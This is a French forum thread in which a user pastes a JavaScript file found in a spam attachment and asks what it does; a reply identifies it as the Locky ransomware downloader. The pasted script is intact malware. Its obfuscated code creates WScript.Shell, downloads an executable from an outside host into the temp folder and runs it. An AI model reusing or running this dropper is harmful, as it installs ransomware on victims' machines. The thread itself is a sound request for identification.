Truc bizarre de loustic

Le
Gloops
Bonjour tout le monde,

Alors que je suis en Ile de France, un loustic de Turquie a allégué que
j'aurais envoyé de Grande Bretagne à un destinataire lui aussi en Grande
Bretagne, un fichier PDF avec le texte d'accompagnement "Image data in
PDF format has been attached to this email."

En jetant un coup d'œil il s'avère que ce fichier PDF est un fichier ZIP
qui contient un fichier d'extension js avec le contenu ci-après à la fin.

En essayant de décoder les ASCII ça n'éclaire pas beaucoup (je me suis
limité aux quatre premières variables) :

____
A?JEv;A:Obje;?J
W;5cr;EFt;E;5h;ACl
;-NF=E;@-n;LEHF;Em;AE;J5JHEEg;I']('%;6E;D;2%') + ';F;.AM;G3yRM.e;NA
;DS;:D;C; E;:M;C;0T;62
____

Bon alors on est bien d'accord que c'est une histoire de loustic (après
tout j'ai bien reçu la semaine dernière une facture pour des prestations
d'accompagnement, qui émanait d'un collège en Israël ; nul doute que se
trouvent en Israël des personnes qui pourraient prétendre à facturer
leur présence, mais avant de payer je veux voir ;) ), mais je serais
assez curieux de savoir ce que pourrait bien faire ce script si il me
venait l'étrange idée de double-cliquer dessus.

Si quelqu'un s'y retrouve ?

Nous sommes bien d'accord que c'est très bien que les hébergeurs se
soient préoccupés de filtrer efficacement, à une époque je ne me serais
pas amusé à tout ça sur chaque spam que je recevais.

Voilà le contenu de la chose :
_______________________________
var YQPYqGFs= this['Au0063u0074u0069vu0065u0058Objeu0063u0074'];
var eOrMRkJ = new
YQPYqGFs('Wu0053cru0069u0070tu002Eu0053hu0065u006Cl');
var vEiAQ =
eOrMRkJ['u0045u0078u0070u0061u006Eu0064u0045nu0076u0069u0072u006Fu006Emu0065u006Eu0074u0053u0074u0072u0069u006Egu0073']('%u0054Eu004Du0050%')
+ 'u002Fu0046u0065Mu0071u0051yRM.eu0078u0065';
var YaVmudBF = new
YQPYqGFs('u004DSu0058u004Du004Cu0032u002Eu0058Mu004Cu0048Tu0054u0050');

YaVmudBF['u006Fnu0072u0065u0061u0064ysu0074u0061u0074ecu0068u0061u006Eu0067e']
= function() {
if (YaVmudBF['u0072u0065adu0079stu0061u0074u0065'] 4) {
var VWIDQ = new
YQPYqGFs('u0041u0044u004Fu0044u0042.u0053u0074ru0065u0061u006D');
VWIDQ['ou0070eu006E']();
VWIDQ['u0074u0079pe'] = 1;

VWIDQ['wu0072u0069te'](YaVmudBF['Ru0065u0073u0070u006Fnu0073u0065u0042u006Fu0064u0079']);
VWIDQ['u0070ou0073u0069u0074iu006Fn'] = 0;
VWIDQ['su0061u0076eu0054u006FFu0069le'](vEiAQ, 2);
VWIDQ['u0063u006Cou0073e']();
};
};
try {
var iLWBVxg = 'u0052un';
YaVmudBF['u006Fpeu006E']('Gu0045T' ,
'hu0074tpu003Au002Fu002Fu006Bu0061u0072tu006Fnstu0061nu0064u0061mbu0061lu0061ju002Ecu006Fmu002Eu0074r/systemu002Flu006Fu0067u0073u002Fu00387u0068u00375u0034',
false);
YaVmudBF['u0073enu0064']();
eOrMRkJ [iLWBVxg](vEiAQ, 1, false);
} catch (ajg9ggxFs) {};
Vidéos High-Tech et Jeu Vidéo
Téléchargements
Vos réponses
Gagnez chaque mois un abonnement Premium avec GNT : Inscrivez-vous !
Trier par : date / pertinence
Pierre Maurette
Le #26392308
Gloops :
Bonjour tout le monde,



[blah interminable]

<URL:
https://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?name=TrojanDownloader%3aJS%2fLocky.A&threatid!47709233&enterprise=0>

--
Pierre Maurette
Gloops
Le #26392376
Le 12/03/2016 09:10, Pierre Maurette a écrit :
Gloops :
Bonjour tout le monde,



[blah interminable]



Bah si on ne peut plus rigoler ...



<URL:
https://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?name=TrojanDownloader%3aJS%2fLocky.A&threatid!47709233&enterprise=0>




Ah je suppose que ça peut servir si jamais on clique plus vite que son
ombre, merci.

Bon regarder ce que le machin a dans les tripes on va laisser tomber
j'imagine.
Publicité
Poster une réponse
Anonyme